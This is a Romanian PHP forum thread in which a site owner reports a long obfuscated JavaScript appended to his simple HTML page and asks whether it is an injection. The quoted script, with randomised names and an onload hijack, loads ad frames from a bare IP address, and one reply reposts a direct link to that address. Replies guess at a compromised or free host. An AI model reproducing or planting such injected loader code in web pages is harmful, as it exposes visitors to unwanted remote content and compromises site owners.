Forum PHP Romania - Discutii despre PHP, MySQL, Javascript, AJAX, etc

[dop90]

Buna prieteni,
am cumparat un domeniu si am pus o pagina cu o poza si un titlu "Site in constructie", in concluzie, putin cod html/css. Dupa ceva timp am intrat pe pagina si mam uitat in codul sursa si dupa ce se termina tagul </html>, am gasit un javascript lung de tot...pun o parte din el aici. Deci, e injectare de cod? Ma poate afecta? Cum pot sa previn asemenea injectii?
Cod: <script type="text/javascript" language="javascript">

    var   lsVvocMjQGviBSjw;
    kYAUNcAjhEigYQheKWE = window.onload;
    QfsXrEkVsRhCvfhuTlG =17769 + 32221;
   window.onload = CtwqTjGoEujQjcCPBlF;
   QCIIGNXaqYLHyjR =16329 + 3637;
   
    tVHFqJhbnJhceIQydaF = "";
    var   EXomVTNkTcCxVKhdXR=  27687 - 3625;
    EuRJJCUgDhYPODgI = "";
    var   clLaDwvSBaQnpex=  9497 - 28642;
    rOBcoXUpTGGlWXenJVM = "";
   
   
    cFfhOVtmjhjvMtXWy = WpIhGevnxuNUGkgjlCb(window.location.href);
    var   jQhCWyNfRJTVCXiJBV=  29392 - 23880;
    ylFLKPJNxyapUNIcF = '151963';
    var vnIBFerMiwfIirf =22039;
    WGdmFEniEQCtypU = 'E3BF0DF25141402AA14A34E5A594547A';
   
    afEjaALsECluFGgTX = '1C96C240FCC411DCBE43151963CFFFFF';
   
    oWBYdOxxFkyumSxcjAI = 'radip';
    var gNJDUagGxSHdPVhik =19365 + 14871;
    var YvjYBMhITNqCNsBxnj =26093 + 32722;
     
   
    GEqFpayxlGesKtwWaU = new Array();
    var   xefaEjJtrppgWHqqIHg;

    rqSUJkuOcngEShPvHWE = new Array();
    MoStPPoKFqSAHKa = 19288;
            
    var arrAnti = new Array("vlaze\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b728x90", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};GEqFpayxlGesKtwWaU.push(element);
rqSUJkuOcngEShPvHWE.push(CreateGNoPPmxSpvWNHoJcUUaect_24578457887(
'b728x90',
'http://85.12.43.83/fls.geo/00_728x90_1.html?a=b',
'728', '728', '90', '90',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b720x300", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};GEqFpayxlGesKtwWaU.push(element);
rqSUJkuOcngEShPvHWE.push(CreateGNoPPmxSpvWNHoJcUUaect_24578457887(
'b720x300',
'http://85.12.43.83/fls.geo/00_720x300_1.html?a=b',
'720', '720', '300', '300',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b468x60", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};GEqFpayxlGesKtwWaU.push(element);
rqSUJkuOcngEShPvHWE.push(CreateGNoPPmxSpvWNHoJcUUaect_24578457887(
'b468x60',
'http://85.12.43.83/fls.geo/00_468x60_1.html?a=b',
'468', '468', '60', '60',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b336x280", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};GEqFpayxlGesKtwWaU.push(element);
rqSUJkuOcngEShPvHWE.push(CreateGNoPPmxSpvWNHoJcUUaect_24578457887(
'b336x280',
'http://85.12.43.83/fls.geo/00_336x280_1.html?a=b',
'336', '336', '280', '280',
'',
''));
var arrAnti = new Array("vlaze\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b300x250", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};GEqFpayxlGesKtwWaU.push(element);
rqSUJkuOcngEShPvHWE.push(CreateGNoPPmxSpvWNHoJcUUaect_24578457887(
'b300x250',
'http://85.12.43.83/fls.geo/00_300x250_4.html?a=b',
'300', '300', '250', '250',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b300x100", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};GEqFpayxlGesKtwWaU.push(element);
rqSUJkuOcngEShPvHWE.push(CreateGNoPPmxSpvWNHoJcUUaect_24578457887(
'b300x100',
'http://85.12.43.83/fls.geo/00_300x100_1.html?a=b',
'300', '300', '100', '100',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b250x250", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};GEqFpayxlGesKtwWaU.push(element);
rqSUJkuOcngEShPvHWE.push(CreateGNoPPmxSpvWNHoJcUUaect_24578457887(
'b250x250',
'http://85.12.43.83/fls.geo/00_250x250_1.html?a=b',
'250', '250', '250', '250',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b240x400", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};GEqFpayxlGesKtwWaU.push(element);
rqSUJkuOcngEShPvHWE.push(CreateGNoPPmxSpvWNHoJcUUaect_24578457887(
'b240x400',
'http://85.12.43.83/fls.geo/00_240x400_1.html?a=b',
'240', '240', '400', '400',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b234x60", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};GEqFpayxlGesKtwWaU.push(element);
rqSUJkuOcngEShPvHWE.push(CreateGNoPPmxSpvWNHoJcUUaect_24578457887(
'b234x60',
'http://85.12.43.83/fls.geo/00_234x60_1.html?a=b',
'234', '234', '60', '60',
'',

[bluecrime]

Reclama de la AdSense...
Dar nu pare a fi in formatul "legal"...
Nu imi pot imagina cum sa inserat in pagina:)
Poate ai facut pagina cu vreun software ceva...
si ala si-a facut reclama...

Uite aici: http://85.12.43.83/fls.geo/00_234x60_1.html?a=b
E unul din linkurile din script:)

[dop90]

Am scris eu codul, nu folosesc programe care imi genereaza codul. Eu nu am pus-o, codul lam scris in notepad. Nu stiu cum a ajuns in pagina?

[kleampa]

virus pe serverul de hosting

[Quber]

@dop90, domeniu ai cumparat dar hosting..? poate hostul tsia pus codul acela in pagina finca e free hosting..?

[bluecrime]

Sigur e reclama de la hoster...
Posteaza aici hosterul.

[PHPRomania Bot]